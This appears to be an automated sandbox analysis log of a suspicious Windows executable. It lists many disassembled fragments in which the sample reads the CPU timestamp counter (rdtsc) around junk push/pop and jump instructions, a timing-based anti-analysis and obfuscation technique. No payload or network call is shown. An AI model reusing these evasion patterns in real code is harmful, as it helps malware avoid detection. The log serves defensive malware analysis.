Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C6898 second address: 6C68B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F57691E35EFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6C6DA9 second address: 6C6DAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6CCF3C second address: 6CCF46 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F57691E35E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D0079 second address: 6D007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D007D second address: 6D0087 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F57691E35E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6CF947 second address: 6CF950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6CF950 second address: 6CF955 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6CFC08 second address: 6CFC0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6CFC0D second address: 6CFC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D4D87 second address: 6D4D92 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D4EE7 second address: 6D4EED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D4EED second address: 6D4F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9BAh 0x00000009 jmp 00007F576860B9BEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D55E9 second address: 6D55ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D55ED second address: 6D5609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F576860B9BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F576860B9B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D5609 second address: 6D562D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F57691E35E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jg 00007F57691E35E6h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007F57691E35EBh 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D562D second address: 6D5633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6D5633 second address: 6D565E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F57691E35F2h 0x0000000e jmp 00007F57691E35F1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DB4E5 second address: 6DB4F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F576860B9B6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DA4C1 second address: 6DA4CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F57691E35E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DA4CB second address: 6DA4FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F576860B9CCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DA4FA second address: 6DA501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68CD02 second address: 68CD29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b mov dword ptr [ebp+1247D409h], edx 0x00000011 and edi, 39970341h 0x00000017 popad 0x00000018 push 00000004h 0x0000001a add edx, dword ptr [ebp+12450CD2h] 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 push edx 0x00000025 pop edx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DA6AB second address: 6DA6B5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F57691E35E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DA6B5 second address: 6DA6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jng 00007F576860B9BEh 0x0000000e jng 00007F576860B9BEh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DA6DD second address: 6DA6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DA6E3 second address: 6DA6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DB1EC second address: 6DB200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F57691E35EEh 0x0000000c jng 00007F57691E35E6h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6DE37F second address: 6DE3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F576860B9C0h 0x00000009 popad 0x0000000a push esi 0x0000000b jns 00007F576860B9B6h 0x00000011 jmp 00007F576860B9BDh 0x00000016 pop esi 0x00000017 pop esi 0x00000018 push ecx 0x00000019 pushad 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E66B4 second address: 6E66BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E66BD second address: 6E66C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E48C3 second address: 6E48CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E4C13 second address: 6E4C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E4C17 second address: 6E4C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 jmp 00007F57691E35F7h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F57691E35E6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E4F10 second address: 6E4F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F576860B9B6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E51E9 second address: 6E51ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E51ED second address: 6E51FC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F576860B9B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E5525 second address: 6E5529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E5529 second address: 6E552F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E5A99 second address: 6E5ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebx 0x00000007 pushad 0x00000008 jp 00007F57691E35E6h 0x0000000e jmp 00007F57691E35EEh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F57691E35F2h 0x0000001b jmp 00007F57691E35F0h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E7C0C second address: 6E7C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E7C10 second address: 6E7C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6E9301 second address: 6E9311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F576860B9BAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6ED9FD second address: 6EDA19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57691E35F2h 0x00000009 jns 00007F57691E35E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6EDA19 second address: 6EDA2B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F576860B9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F576860B9BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6EDA2B second address: 6EDA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F57691E35E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6EDA3A second address: 6EDA3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6F09D2 second address: 6F09D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6F09D8 second address: 6F09EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F576860B9B8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6F09EA second address: 6F09EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6F09EE second address: 6F09F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6F0B77 second address: 6F0B92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6F0E70 second address: 6F0E85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F576860B9C0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6F0E85 second address: 6F0E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F57691E35E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6F2E34 second address: 6F2E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F576860B9B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6FAB9C second address: 6FABB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57691E35F1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6FABB3 second address: 6FABB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6FAD38 second address: 6FAD43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F57691E35E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6FAD43 second address: 6FAD66 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push esi 0x00000009 jp 00007F576860B9B6h 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jnp 00007F576860B9C6h 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b jnl 00007F576860B9B6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6FA0A9 second address: 6FA0D4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F57691E35FCh 0x00000008 jmp 00007F57691E35F4h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 jl 00007F57691E35EEh 0x00000018 push edx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 701AA5 second address: 701AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 701AA9 second address: 701AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7110ED second address: 7110F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7110F4 second address: 7110FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7110FB second address: 711101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7139A4 second address: 7139AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 719AE0 second address: 719AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7236DE second address: 7236E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7236E2 second address: 7236ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 723575 second address: 723579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 723579 second address: 72358B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7269FB second address: 726A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7268BE second address: 7268C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 7268C6 second address: 7268CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 728068 second address: 72807D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F576860B9B6h 0x00000008 jne 00007F576860B9B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72C759 second address: 72C75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72C8F0 second address: 72C91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F576860B9C7h 0x00000009 jmp 00007F576860B9BCh 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72C91A second address: 72C92D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EEh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72C92D second address: 72C933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72CACA second address: 72CAD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72CAD0 second address: 72CAD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72CDC2 second address: 72CDC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72CDC6 second address: 72CDE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F576860B9C0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007F576860B9B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72CDE7 second address: 72CDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72D956 second address: 72D995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F576860B9BAh 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F576860B9C8h 0x00000017 jmp 00007F576860B9BDh 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72D995 second address: 72D99C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 72D99C second address: 72D9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 638EBF second address: 638EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 731EE7 second address: 731EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F576860B9B6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 732062 second address: 732086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EEh 0x00000007 jne 00007F57691E35E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F57691E35ECh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 736320 second address: 736329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 736329 second address: 736335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 736335 second address: 736342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F576860B9B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 73D29A second address: 73D2A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 73D2A0 second address: 73D2B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jns 00007F576860B9B6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
